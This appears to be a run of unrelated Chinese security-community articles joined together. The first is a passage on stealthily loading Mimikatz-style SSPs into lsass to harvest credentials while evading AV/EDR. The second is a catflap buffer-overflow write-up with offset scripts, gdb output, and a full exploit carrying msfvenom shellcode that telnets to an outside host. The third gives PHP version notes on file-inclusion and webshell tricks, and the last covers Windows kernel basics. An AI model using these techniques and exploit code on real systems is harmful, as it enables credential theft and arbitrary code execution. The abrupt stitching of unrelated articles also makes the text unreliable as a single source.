这里直接提到了[AddSecurityPackage](https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-addsecuritypackagea)这个API，@mattifestation在[Install-SSP.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1)脚本中利用这个API来加载SSP。这意味着实际上我们可以在不重启的情况下添加Mimilib。当添加成功后，我们发现每次进行身份认证时，凭据信息都会被写入[kiwissp.log](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c#L43)文件中。
现在在目标环境中使用SSP有一个缺点，那就是我们必须在`lsass`中注册SSP，这样我们就不得不留下一些踪迹，比如创建与SSP有关的注册表、或者在`lsass`进程中留下异常的DLL，防御方可以有针对性地跟踪我们的恶意行为。此外，SSP还会对外公开名称以及注释，可以使用`EnumerateSecurityPackages`来枚举这些信息，如下所示：
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
int main(int argc, char **argv) {
ULONG packageCount = 0;
PSecPkgInfoA packages;
if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
for (int i = 0; i < packageCount; i++) {
printf("Name: %snComment: %snn", packages[i].Name, packages[i].Comment);
}
}
}
如下图所示，输出结果中包含已加载每个SSP的相关信息，其中大家可能会注意到有Mimilib的身影：
那么我们是否可以采取一些隐蔽措施呢？最明显的应该就是修改Mimilib中`SpGetInfo`回调函数所返回的描述信息，这些信息被硬编码在代码中，如下所示：
NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = L"KiwiSSP";
PackageInfo->Comment = L"Kiwi Security Support Provider";
return STATUS_SUCCESS;
}
这里我们可以修改`Name`以及`Comment`字段，结果如下所示：
好吧，显然这还远远不够（即使我们修改了名称以及注释字段）。要注意一点，在没有充分剥离并重新编译之前，Mimilib中还包含大量功能，而不单单是充当SSP角色那么简单。
那么我们应该如何绕过这一点呢？这里要感谢Mimikatz还支持`misc::memssp`，这是我们可以使用的另一个较好的候选方案。
## 0x02 MemSSP
MemSSP回到了处理`lsass`内存的老路上，这一次MemSSP会识别并patch一些函数，重定向执行逻辑。
来看一下源头函数：[kuhl_m_misc_memssp](https://github.com/gentilkiwi/mimikatz/blob/72b83acb297f50758b0ce1de33f722e70f476250/mimikatz/modules/kuhl_m_misc.c#L508)。这里我们可以看到代码会打开`lsass`进程，开始搜索`msv1_0.dll`，这个DLL是支持交互式身份认证的一个认证程序包：
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[])
{
...
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{ if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"msv1_0.dll", &iMSV))
{
...
接下来是在内存中搜索匹配模式，这类似于我们在WDigest中看到的处理逻辑：
...
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iMSV.DllBase;
sSearch.kull_m_memoryRange.size = iMSV.SizeOfImage;
if(pGeneric = kull_m_patch_getGenericFromBuild(MSV1_0AcceptReferences, ARRAYSIZE(MSV1_0AcceptReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aLocal.address = pGeneric->Search.Pattern;
if(kull_m_memory_search(&aLocal, pGeneric->Search.Length, &sSearch, TRUE))
{
...
如果我们暂停代码审计，投入Ghidra怀抱，就可以搜索代码正在使用的匹配模式，然后找到如下位置：
这里我们来看看代码实际上在执行哪些操作。memssp正被用来hook
`msv1_0.dll`的`SpAcceptCredentials`函数，以便恢复凭据信息。让我们使用调试器看一下添加后的hook长啥样子。
首先我们确认`SpAcceptCredentials`中包含一个hook：
接下来当我们逐步执行时，会进入一段代码逻辑，其中会在栈上创建一个文件名，将其传递给`fopen`，以便创建一个log文件：
一旦打开该文件，传递给`SpAcceptCredentials`的凭据就会被写入该文件中：
最后，执行流程会被重定向回`msv1_0.dll`：
如果大家想查看负责这个hook的代码，可以在`kuhl_m_misc.c`源文件的[misc_msv1_0_SpAcceptCredentials](https://github.com/gentilkiwi/mimikatz/blob/72b83acb297f50758b0ce1de33f722e70f476250/mimikatz/modules/kuhl_m_misc.c#L462)函数中找到相应代码。
那么我们使用这种技术的风险在哪呢？从前面分析中，我们可以看到hook会通过`kull_m_memory_copy`被拷贝到`lsass`中，该函数实际上使用的是`WriteProcessMemory`。根据目标具体环境，调用`WriteProcessMemory`插入另一个进程可能会被检测到，或者被标记为可疑行为，等等。特别当目标进程是`lsass`时，这种行为更加可疑。
现在对我们来说，深入分析Mimikatz使用的具体技术可以帮我们修改与`lsass`的交互行为，使蓝队更难发现我们的踪迹。接下来让我们看一下如何增加整个过程的复杂度。
## 0x03 不使用WriteProcessMemory重构memssp
回顾前面分析的技术后，我们能找到各自的优点以及缺点。
第一种方法（Mimilib）需要注册SSP，而这种行为可以通过`EnumerateSecurityPackages`枚举已注册的SSP列表来定位。此外，如果Mimilib库没有经过修改，那么DLL中还包含大量其他功能。另外一方面，当使用`AddSecurityProvider`来加载时，注册表键值会被修改，以便系统重启时还能保持SSP驻留。也就是说，这种方法最大的优点在于不需要调用有潜在风险的`WriteProcessMemory`
API就能完成任务。
第二种方法（memssp）需要依赖容易被监控的API（如`WriteProcessMemory`），利用这些API来hook到`lsass`中。这种方法的最大优点就是不会存在于已注册的SSP列表中，也不会存在于已加载的DLL中。
那么我们可以做些什么呢？我们可以将这两种方法结合起来，使用`AddSecurityProvider`来加载我们的代码，同时避免自己出现在已注册的SSP列表中。我们需要找到方法避免直接调用`AddSecurityProvider`
API，如果成功的话，这样就能绕过各种烦人的AV或者EDR（这些解决方法可能会hook这个函数）。
让我们先来看看`AddSecurityPackage`注册SSP的具体过程，这意味我们需要做一些逆向分析。我们先观察导出该API的DLL：`Secur32.dll`。
在Ghidra中打开这个DLL，就可以看到这实际上是个封装库，会调用`sspcli.dll`：
反汇编`sspcli.dll`中的`AddSecurityPackage`（特别是该函数所使用的外部API调用），我们可以找到`NdrClientCall3`，这意味着该函数正在使用RPC。这一点很正常，因为这个调用需要向`lsass`发送信号，通知`lsass`应当加载一个新的SSP：
跟踪`NdrClientCall3`，我们可以找到传入的如下参数：
其中`nProcNum`参数值为`3`，如果我们深入分析`sspirpc_ProxyInfo`结构，可以看到RPC接口的UUID值为`4f32adc8-6052-4a04-8701-293ccf2096f0`：
现在我们已经掌握足够多的信息，可以通过RpcView来观察通过`sspisrv.dll`公开的`SspirCallRpc` RPC调用：
为了使用这个调用，我们需要知道传入的参数。我们可以通过RpcView来获取这些信息，如下所示：
long Proc3_SspirCallRpc(
[in][context_handle] void* arg_0,
[in]long arg_1,
[in][size_is(arg_1)]/*[range(0,0)]*/ char* arg_2,
[out]long* arg_3,
[out][ref][size_is(, *arg_3)]/*[range(0,0)]*/ char** arg_4,
[out]struct Struct_144_t* arg_5);
然而在实现这个调用之前，我们需要知道`arg_2`参数传入的具体值（`arg_1`为`arg_2`的大小，`arg_3`、`arg_4`以及`arg_5`都标记为`out`）。我发现完成该任务最简单的方法就是启动调试器，然后在`AddSecurityPackage`调用`NdrClientCall3`之前插入断点：
暂停执行后，我们可以dump出传入的每个参数的值。我们可以使用`dq rsp+0x20 L1`来获取`arg_1`参数中传递的缓冲区大小值。
因此，我们知道在这种情况下，传入的缓冲区大小为`0xEC`字节。现在我们可以使用如下命令来dump出`arg_2`：
经过一番挖掘后，我成功将大多数值关联起来。让我们以`QWORD`来重新格式化输出，这样能较为清晰地梳理我们正在处理的数据：
现在我们已经映射出传入的大部分数据，我们可以尝试在不直接使用`AddSecurityPackage`
API的情况下发起RPC调用。大家可以访问[Gist](https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e)下载我构造的代码。
在不直接调用`AddSecurityPackage`下我们已经能够加载包，接下来我们看看能否进一步使这个过程更加隐蔽。
让我们使用Ghidra载入`sspisrv.dll`，观察服务端如何处理RPC调用。反汇编`SspirCallRpc`后，我们很快就发现执行流程会通过`gLsapSspiExtension`来传递：
这实际上使指向函数数组的一个指针，通过`lsasrv.dll`提供，会指向`LsapSspiExtensionFunctions`：
我们对`SspiExCallRpc`比较感兴趣，这与我们在RPCView中观察到的非常相似。该函数会验证参数值，并将执行流程传递给`LpcHandler`：
`LpcHandler`在将执行权交给`DispatchApi`之前，会进一步检查所提供的参数：
同样，这里会使用另一个函数数组指针来调度`LpcDispatchTable`所指向的函数调用：
现在我们应该对这个数组比较感兴趣，因为我们可能会根据函数名，找到其中的`s_AddPackage`，并且这个函数的索引值与我们在请求中找到的`0xb`
“Function ID”索引值相匹配。
沿着线索进一步走下去，我们找到了`WLsaAddPackage`，该函数首先会检查我们是否具备足够的权限来调用RPC方法，具体操作就是模拟（impersonate）客户端，然后尝试以Read/Write权限打开`HKLM\System\CurrentControlSet\Control\Lsa`注册表项：
如果操作成功（请注意这是可用于权限提升的一个较新颖的后门技术），那么执行权就会继续交给`SpmpLoadDll`，后者会通过`LoadLibraryExW`将我们提供的SSP加载到`lsass`中：
如果SSP成功加载，那么DLL就会被添加到注册表中，以实现自动加载：
这里我们可能希望跳过这个操作，因为我们不希望使用这种方法实现本地驻留，并且如果没有必要，我们也不希望涉及到注册表操作。理想状态下，如果引起怀疑（比如防御方通过ProcessExplorer来分析时），我们还希望这个DLL不会出现在`lsass`载入列表中。因此我们可以使用RPC调用来传递我们的DLL，在SSP的`DllMain`中返回`FALSE`，强制SSP加载失败。这样就会跳过注册表修改操作，也意味着我们的DLL会从进程中卸载。
我以Mimikatz的memssp作为模板构造了一个DLL，可以通过我们的RPC调用来加载，使用Mimikatz所用的相同hook来patch
`SpAddCredentials`。大家可以访问[Gist](https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0)下载源代码。
使用我们的`AddSecurityPackage`
RPC调用来加载DLL的整个过程参考[此处视频](https://youtu.be/EtIah5mL80E)。
使用这种方法时，我们也不一定需要在本地系统中才能加载DLL，如果通过RPC调用，我们也可以使用UNC路径（但我们需要确保EDR并不会将这种操作标记为可疑行为）。
当然，我们也不一定要使用`AddSecurityPackage`来加载这个DLL。我们构造了一个独立版的DLL，可以实现memssp
patch。我们可以使用前一篇文章中的SAMR
RPC脚本，利用该脚本通过`LoadLibrary`来加载我们的DLL，获取使用SMB共享的登录操作信息，整个过程可以参考[此处视频](https://youtu.be/aMdkMOvdUTw)。
此外，还有很多方法能够改进这些方法的有效性。但与前一篇文章一样，我希望本文能给大家提供一个思路，让大家了解如何构造自己的SSP，以便在行动中更加得心应手。本文只提供了能够隐蔽将SSP载入`lsass`过程的一些参考方法，澄清Mimikatz实现该过程的具体原理。大家可以根据这些信息，在实际环境中定制自己的payload，以便绕过AV或者EDR，或者可以用来测试蓝队在Mimilib和memssp之外是否存在其他检测能力。 | 社区文章 |
# 【技术分享】我是如何利用NSA泄露的安全工具的漏洞在终端上玩转彩虹猫游戏的
|
##### 译文声明
本文是翻译文章，文章来源：hurricanelabs.com
原文地址：<https://www.hurricanelabs.com/blog/overflow-exploit-catflap-zero-day>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**概述**
最近，我正盘算着找些东东来砥砺一下自己的逆向技能。选谁呢？我们知道，在NSA被泄漏的工具中，有一个名为catflap的一个可执行文件（ELF）：NSA工具……ELF格式……名为catflap……，听起来很有趣，好吧，那就选它了。
我启动了Radare2，开始逆向分析。后来，在0x08048a10处发现了一个函数，它似乎创建了一个“恶意缓冲区”，来故意造成溢出。经过分析之后，我发现这个函数本身有一个缓冲区溢出漏洞——缓冲区溢出漏洞利用代码中的缓冲区进行溢出。不仅如此，它还是我见过的最简单的缓冲区溢出漏洞。
**漏洞披露**
发现漏洞后，我选择了公开披露，因为即使我将其提交给供应商的话，我们想也不会得到响应。由于这个漏洞的严重程度很低，所以也就不必将时间浪费在取花哨的名字上面了。你觉得它值得拥有一个CVE编号吗？
说实话，我觉得这个“0day”漏洞的主要价值在于其滑稽性。到目前为止，我还没有听别人谈论过catflap中如此特殊的漏洞（实际上，catflap的任何漏洞都没听说过）。所以，即使在网上搜索“catflap
exploit”也没用，因为catapap本身就是一个漏洞。
注意：如果有人早就发现该漏洞的话，请告诉我，那么第一个发现者的桂冠应该属于他们。
**漏洞根源**
在深入分析这个漏洞之前，让我们想想为什么会出现这个漏洞。
我认为有三种可能性：
**1\. 开发者是个白痴**
这个溢出漏洞是非常明显的，或者至少对于任何漏洞利用代码开发者来说，是显而易见的。然而，对一个不称职的开发人员来说，难免会错误百出。但是，将对手视为白痴是非常危险的。更可能的情况是，开发人员根本不在乎这个溢出漏洞到底有多么“露骨”。
**2\. 开发者不走心**
这是最有可能的。有人可能认为这个漏洞与C语言缺乏边界检查脱不了干系。该漏洞出现在命令行选项中。如果攻击者希望通过RCE攻击方程式，那么他必须说服方程式成员使用奇怪的参数来运行catflap——看起来参数就像shellcode一样可怕，前提是如果你可以设法让方程式运行带有自己的shellcode的秘密工具的话。但是这种利用方式弱爆了，一个漏洞利用开发者为什么会浪费时间搞这种漏洞呢？
**3\. 该工具具有双重目的**
我很喜欢这个想法，但这真的只是臆测而已。在一个被攻陷的机器上，你可能期待发现一些病毒和漏洞利用代码；漏洞利用代码可以用来攻击其他机器，而病毒则可以维持对本机器的长期控制。两者有很大的区别！那么，如果catflap合二为一呢？
Catapap可以通过溢出可靠地加载任意shellcode。这实际上就是一个从哪方面看都像是漏洞利用代码的病毒注入器。当你发现一些东西看起来像一个漏洞利用代码，闻起来像一个漏洞利用代码，并且运行起来也像一个漏洞利用代码的时候，这意味着你在网络上横向渗透要比感染本地机器要更加困难。
虽然这是一个巧妙的想法，但我怀疑这并非catflap的初衷。catflap显然利用了/ bin /
login中已知的溢出漏洞。这可能是一个古董级别的漏洞，以防万一。ELF中的其他细微线索表明，开发人员对内存管理并不十分谨慎，这意味着它可能是第二个备选项。也就是说，即使不用它，catflap仍然有可能可靠地运行任意shellcode，我们将在后面看到。所以，如果你在一个攻陷的机器上发现了catapap，不要有“愚蠢的黑客，我们不使用Solaris”等想法，要知道catflap可能被用作病毒，以维持对本地机器的长期访问。
**漏洞分析**
好的，我们现在开始对这个漏洞进行详细的分析。在0x08048a10处的函数似乎构建了一个用于Solaris漏洞利用的“恶意缓冲区”。它接受的参数之一（ebp
+ 0x10）是用户提供的、可在Solaris机器上运行的命令。这个用户的命令通过strdup（@
0x08048a3e）复制到堆中。这样，就可以引用返回的堆指针cmd_dup了。0x8048c00处的循环将以空格字符（0x20,0x09）来分割cmd_dup字符串。
为了简单起见，我们用python给出相应的实现代码：
>>> cmd = "ls -lt/" # command provided by user
>>> exploded_cmd= cmd.split() # the loop splits the command on whitespace
>>> exploded_cmd
['ls', '-l', '/']
如果使用c语言的话，它就不是那么简单了，因为用于分隔的循环需要用空字节替换每个空白符（0x20和0x09）。然后，下一次迭代时需要仔细检查下一个字节是不是空白字符，然后在ebp-0x228数组中附加一个指针，指示其类型。我们称这个ebp-0x228数组为exploded_cmd。explosive_cmd数组显然位于堆栈上（从ebp引用），但是在写入数据之前，分隔循环不会检查数组的大小。这意味着通过提供一个含有大量空白分隔字符的命令字符串，exploit_cmd将把堆栈填充到更高的内存位置，最终覆盖保存的返回地址。
循环完成后，会检查用于终止expanding_cmd数组的空指针是否被破坏。如果被破坏的话，该函数会打印“Command string has too
many tokens”并返回。
**漏洞利用**
这里我想要做的事情是，让catapap在终端玩彩虹猫——这就是我的目标。
这个漏洞的利用不仅非常简单，而且特别稳定。我们无法直接控制被覆盖的返回地址，但这并不重要。返回地址将被指向我们的缓冲区的指针所覆盖！而这个缓冲区已经位于堆中。因此，就算是启用了NX和ASLR安全措施，也会被成功绕过。即便对数组的结尾是否已损坏进行检测，也无法防御这种漏洞利用技术。因为在检查时，返回地址已被覆盖。不仅如此，检查失败不会调用exit(-1)，而是返回！
运行shellcode很容易，我们只需要借助偏移量即可。寻找相应偏移量的最简单的方法，只需通过一个包含由空格分隔的单字符组成的大缓冲区来运行该程序，然后查看程序返回的位置。
为此，可以使用以下脚本（offset.py）：
l = [ ]
# remember 0x20 and 0x09 are bad chars
for i in xrange(0x21, 0xff):
l.append(chr(i))
print " ".join(l)
在gdb中启动catflap并在函数的返回（0x08049186）处上设置一个断点：
$ gdb -q catflap
(gdb) b *0x08049186
Breakpoint 1 at 0x8049186
(gdb) run asdf "$(python offset.py )"
Starting program: /tmp/catflap asdf "$(python offset.py )"
Command string has too many tokens
Breakpoint 1, 0x08049186 in ?? ()
(gdb) x/3i $eip
=> 0x8049186:ret
0x8049187:mov %esi,%esi
0x8049189:lea 0x0(%edi,%eiz,1),%edi
(gdb) ni
0x0804c116 in ?? ()
(gdb) x/3bx $eip
0x804c116:0xa80x000x78
(gdb) x/100bx $eip-30
0x804c0f8:0x990x000x9a0x000x9b0x000x9c0x00
0x804c100:0x9d0x000x9e0x000x9f0x000xa00x00
0x804c108:0xa10x000xa20x000xa30x000xa40x00
0x804c110:0xa50x000xa60x000xa70x000xa80x00
0x804c118:0x780x780x780x780x200x780x780x20
0x804c120:0x780x780x780x780x780x780x780x78
0x804c128:0x5c0x310x300x5c0x340x5c0x330x30
0x804c130:0x310x5c0x310x360x200x780x200x78
0x804c138:0x200x780x200x780x200x780x200x78
0x804c140:0x200x780x200x780x200x780x200x78
0x804c148:0x200x780x200x780x200x780x200x5c
0x804c150:0x0a0x780x200x780x200x780x200x78
0x804c158:0x200x780x200x78
在x / 100bx $ eip-30命令中，我们看到每个偶数字节都是递增的，而每个奇数字节都为空。这意味着我们位于缓冲区中。在x / 3bx $
eip命令中，我们看到我们所在的字节是0xa8。我们的offset.py脚本是从0x21处的字节（以避免空白符）开始的，所以我们通过0xa8-0x21得到0x87。也就是说，我们的shellcode前面，是由空白符分隔的0x87个字符。
我们首先用下面的代码来仔细检查一下偏移量：
$ cat offset.py
l = [ ]
for i in xrange(0x87):
l.append("Z")
l.append("BBBB")
print " ".join(l)
$ gdb -q catflap
Reading symbols from /tmp/catflap...(no debugging symbols found)...done.
(gdb) b *0x08049186
Breakpoint 1 at 0x8049186
(gdb) run asdf "$(python offset.py )"
Starting program: /tmp/catflap asdf "$(python offset.py )"
Command string has too many tokens
Breakpoint 1, 0x08049186 in ?? ()
(gdb) ni
0x0804c116 in ?? ()
(gdb) x/5bx $eip
0x804c116:0x420x420x420x420x00
我们到达了第一个“B”（0x42），所以我们只需要把shellcode放在那里，就可以让代码执行了。我们到哪里下载Nyan Cat shellcode呢？
当然是Metasploit！为此，我们只需要运行命令“telnet
nyancat.dakko.us”即可。Metasploit的msfvenom有一个“linux / x86 /
exec”有效载荷，可以执行telnet命令。当在命令行中运行它时，可以使用ASCII编码器使其更加漂亮。
注意：不要忘记坏字节。空字节实际上是允许的，因为我们可以用0x20替换它，程序会把它变成一个0x00。不过，这有可能把偏移量搞砸，所以最好避免使用。
$ cat ~/exploit.py
#!/usr/bin/python
import sys
# telnet nancat
# > msfvenom -p linux/x86/exec -b 'x20x09' -v shellcode -f python CMD="telnet
nyancat.dakko.us" -e x86/alpha_mixed
# No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_mixed
# x86/alpha_mixed succeeded with size 179 (iteration=0)
# x86/alpha_mixed chosen with final size 179
# Payload size: 179 bytes
# Final size of python file: 972 bytes
shellcode = ""
shellcode += "x89xe1xdaxcbxd9x71xf4x5ax4ax4ax4ax4a"
shellcode += "x4ax4ax4ax4ax4ax4ax4ax43x43x43x43x43"
shellcode += "x43x37x52x59x6ax41x58x50x30x41x30x41"
shellcode += "x6bx41x41x51x32x41x42x32x42x42x30x42"
shellcode += "x42x41x42x58x50x38x41x42x75x4ax49x62"
shellcode += "x4ax46x6bx51x48x4ax39x73x62x35x36x33"
shellcode += "x58x74x6dx31x73x6cx49x69x77x50x68x56"
shellcode += "x4fx61x63x73x58x75x50x43x58x36x4fx50"
shellcode += "x62x71x79x30x6ex6cx49x79x73x51x42x79"
shellcode += "x78x42x38x47x70x77x70x75x50x52x54x31"
shellcode += "x75x70x6cx70x6ex31x75x44x34x75x70x50"
shellcode += "x6ex51x69x30x61x30x6ex33x53x63x51x71"
shellcode += "x64x74x6ex30x64x53x51x72x4bx32x4bx50"
shellcode += "x6fx64x6ex72x55x74x33x55x50x42x77x76"
shellcode += "x33x6fx79x48x61x38x4dx4dx50x41x41"
l = []
for i in xrange(0x87):
l.append("A")
l.append(shellcode)
if ( len(sys.argv) == 1 ) :
print " ".join(l)
else:
print repr( " ".join(l) )
最后执行：
$ ./catflap asdf "$(python ~/exploit.py )"
或者：
$ python ~/exploit.py a
'A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A
x89xe1xdaxcbxd9qxf4ZJJJJJJJJJJJCCCCCC7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIbJFkQHJ9sb563Xtm1slIiwPhVOacsXuPCX6OPbqy0nlIysQByxB8GpwpuPRT1uplpn1uD4upPnQi0a0n3ScQqdtn0dSQrK2KPodnrUt3UPBwv3oyHa8MMPAA'
$ ./catflap a "$(printf 'A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A A A A A A A A A A A A A A A A A A A A A A A A A A A
x89xe1xdaxcbxd9qxf4ZJJJJJJJJJJJCCCCCC7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIbJFkQHJ9sb563Xtm1slIiwPhVOacsXuPCX6OPbqy0nlIysQByxB8GpwpuPRT1uplpn1uD4upPnQi0a0n3ScQqdtn0dSQrK2KPodnrUt3UPBwv3oyHa8MMPAA')"
具体效果，请看下面的视频： | 社区文章 |
今天被p师傅的黑魔法给震惊到啦，我一定是学了假php，仔细想想，其实对php版本更新并没有在意多少，都是活在5.3那个版本，可现在都是7.0啦！
另外的是在很多时候测试代码的时候，也很依靠版本问题。
<http://php.net/manual/zh/appendices.php>
### php5.2以前
1、__autoload加载类文件，但只能调用一次这个函数，所以可以用spl_autoload_register加载类
### php5.3
1、新增了glob://和phar://流包装
glob用来列目录，绕过open_baedir
<http://php.net/manual/zh/wrappers.phar.php>
phar在文件包含中可以用来绕过一些后缀的限制
<http://php.net/manual/zh/wrappers.phar.php>
2、新的全局变量 **DIR**
3、默认开启`<?= $xxoo;?>`，5.4也可用
### php5.4
1、移除安全模式、魔术引号
2、register_globals 和 register_long_arrays php.ini 指令被移除。
3、php.ini新增session.upload_progress.enabled，默认为1，可用来文件包含
<http://php.net/manual/zh/session.configuration.php>
<http://php.net/manual/zh/session.upload-progress.php>
### php5.5
1、废除preg_replace的/e模式(不是移除)
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即：'、"、 和 NULL) 然后进行后向引用替换。
<http://php.net/manual/zh/function.preg-replace.php>
### php5.6
1、使用 ... 运算符定义变长参数函数
<http://php.net/manual/zh/functions.arguments.php#functions.variable-arg-list>
### php7.0
1、十六进制字符串不再是认为是数字
2、移除asp和script php标签
<% %>
<%= %>
<script language="php"></script>
3、在后面的版本中assert变成语言结构，这将意味着很多一句话不能使用。
目前经过测试,可使用的有。
call_user_func('assert', 'phpinfo();');
### php7.1
<http://php.net/manual/zh/migration71.new-features.php>
1、废除mb_ereg_replace()和mb_eregi_replace()的Eval选项
know it then do it | 社区文章 |
《 Windows Kernel Pwn 101 》
[Windows内核]
-进程（process）
进程（process）是计算机系统中的一种基本概念，它是一个正在运行的程序的实例。在操作系统中，进程是分配给程序资源的基本单位，每个进程都有自己的内存空间、代码、数据、堆栈和其他系统资源。在计算机系统中，每个进程都有一个唯一的标识符，称为进程ID（process ID，PID）。进程可以有一个或多个线程，线程是进程中执行代码的执行单元。在一个进程中，所有线程共享进程的内存空间和系统资源；
进程为多任务操作系统提供了实现并发执行的机制。通过将计算机系统资源分配给多个进程，操作系统能够使多个程序同时运行，从而提高计算机系统的利用率；
进程的创建、调度和终止都由操作系统内核进行管理。进程之间可以通过进程间通信机制来进行数据交换和协作。进程可以在操作系统的保护下运行，防止进程之间相互干扰和破坏。
-线程（thread）
线程（thread）是计算机系统中的一种执行单元，它是进程中的一个独立控制流，用于执行程序的指令序列。线程是操作系统调度的基本单位，每个线程都有自己的栈空间和寄存器，用于存储执行上下文和临时变量；
在一个进程中，可以创建一个或多个线程，这些线程共享进程的内存空间和系统资源。不同于进程，线程不拥有系统资源，而是与其他线程共享相同的资源，如内存、文件、网络连接等；
线程能够提高程序的并发性和响应性。在单核处理器系统中，通过使用多线程技术，可以让程序的不同部分在不同的时间段内交替运行，从而让程序看起来是同时运行的。在多核处理器系统中，多个线程可以在不同的核上同时执行，充分利用系统资源，提高程序的性能；
线程的创建、调度和管理都由操作系统内核进行管理。操作系统提供了一系列线程同步机制，如互斥锁、信号量、条件变量等，用于协调不同线程之间的执行，避免竞争和冲突。
-内存管理
内存管理是操作系统中的一个重要模块，它负责管理计算机系统中的内存资源。计算机系统中的内存资源是有限的，操作系统需要在不同的进程和线程之间分配和回收内存空间，以满足不同程序的内存需求;
内存管理涉及到的主要问题包括内存分配、内存回收、内存保护和内存共享等。内存分配是指在进程运行时为其分配所需的内存空间，内存回收是指在进程终止时将其占用的内存空间释放回系统，内存保护是指防止进程之间相互干扰和破坏，内存共享是指多个进程共享同一块内存区域;
操作系统通过虚拟内存技术来实现对内存资源的管理。虚拟内存是一种将计算机的硬盘空间用作内存扩展的技术，它可以让进程访问一个比实际内存空间更大的地址空间，从而满足进程对内存空间的需求。虚拟内存管理需要实现页面置换、页面映射和页面保护等机制，来保证程序能够正确地访问所需的内存空间。
-I/O管理
I/O（Input/Output）管理指的是计算机系统如何管理输入和输出设备的数据传输，是操作系统的一个重要功能。I/O管理通过管理设备驱动程序、I/O请求和缓存等机制，协调系统中各种输入输出设备的使用，使其能够高效地进行数据传输;
在计算机系统中，每个I/O设备都由一个设备驱动程序来管理。设备驱动程序是一个软件模块，它向操作系统提供I/O设备的抽象接口，使操作系统能够与设备进行通信;
当应用程序需要与设备进行数据交换时，它会向操作系统发送一个I/O请求。操作系统会将请求传递给设备驱动程序，设备驱动程序则负责将请求转换为特定设备的操作，并将结果返回给应用程序。为了提高I/O传输的效率，操作系统会使用缓存机制，将数据缓存到内存中，并在需要时将数据从内存中读取或写入到设备中;
I/O管理还包括处理中断和DMA（Direct Memory Access）操作。当设备完成一个操作或需要向系统发出信号时，它会向系统发送一个中断信号。操作系统会相应地处理中断请求，并通知相应的驱动程序进行处理。DMA操作则是一种数据传输方式，它允许设备直接访问系统内存，从而提高数据传输效率。
-驱动程序
驱动程序则是一种特殊的软件，用于控制计算机硬件设备。驱动程序通过操作硬件设备的寄存器、内存映射、中断等方式，实现对硬件设备的读取、写入、控制等操作，从而让操作系统能够与硬件设备进行交互。
[数据结构]
-进程和线程数据结构
每个进程都有一个EPROCESS结构，它包含进程的基本信息和进程所拥有的线程的列表。ETHREAD结构表示线程的信息，包括线程的状态、优先级和堆栈指针等；
除了这些基本信息，EPROCESS和ETHREAD结构还包含一些其他的信息，例如虚拟地址空间的描述、进程和线程的安全描述符等等。
-内存管理数据结构
Windows内核使用两个池来管理内存：paged pool和non-paged pool。Paged pool用于存储可以被分页的内存，例如用于存储驱动程序的数据结构。 Non-paged pool用于存储不能被分页的内存，例如用于内存映射I/O的缓冲区。
内存池由POOL_HEADER结构表示。每个POOL_HEADER结构都包含有关内存块的基本信息，例如内存块的大小、使用情况等等；
分配和释放内存使用ExAllocatePoolWithTag和ExFreePoolWithTag函数，这些函数使用TAG参数来标识分配的内存块，每个内存块都包含一个前导POOL_HEADER结构，并且可能包含其他的元数据，例如内存块的TAG、指向下一个和上一个内存块的指针等等。
-驱动程序结构
驱动程序是一种特殊的软件，它用于控制计算机硬件设备。驱动程序需要与内核交互以访问硬件资源，Windows驱动程序的主要结构包括驱动程序对象、设备对象和IRP对象；
驱动程序对象是驱动程序的主要对象，它包含驱动程序的入口点和一些驱动程序特定的信息；
设备对象是驱动程序与设备之间的接口，它用于管理设备和向驱动程序传递请求，每个驱动程序可以注册多个设备对象，用于管理不同类型的设备；
IRP对象是在Windows内核中用于表示I/O请求的结构，每个IRP对象都包含有关请求的信息，例如请求类型、输入缓冲区和输出缓冲区指针等等，驱动程序可以使用IRP对象来处理I/O请求，例如读取设备数据、写入设备数据等等；
IRP是I/O请求包（I/O Request Packet）的缩写，它是Windows操作系统中用来传递I/O请求和相关参数的数据结构。在Windows内核中，设备和驱动程序之间的通信是通过I/O请求包（IRP）进行的。当用户程序向设备发起I/O请求时，操作系统会创建一个IRP，并把请求信息填充到IRP中，然后把IRP发送给设备驱动程序。
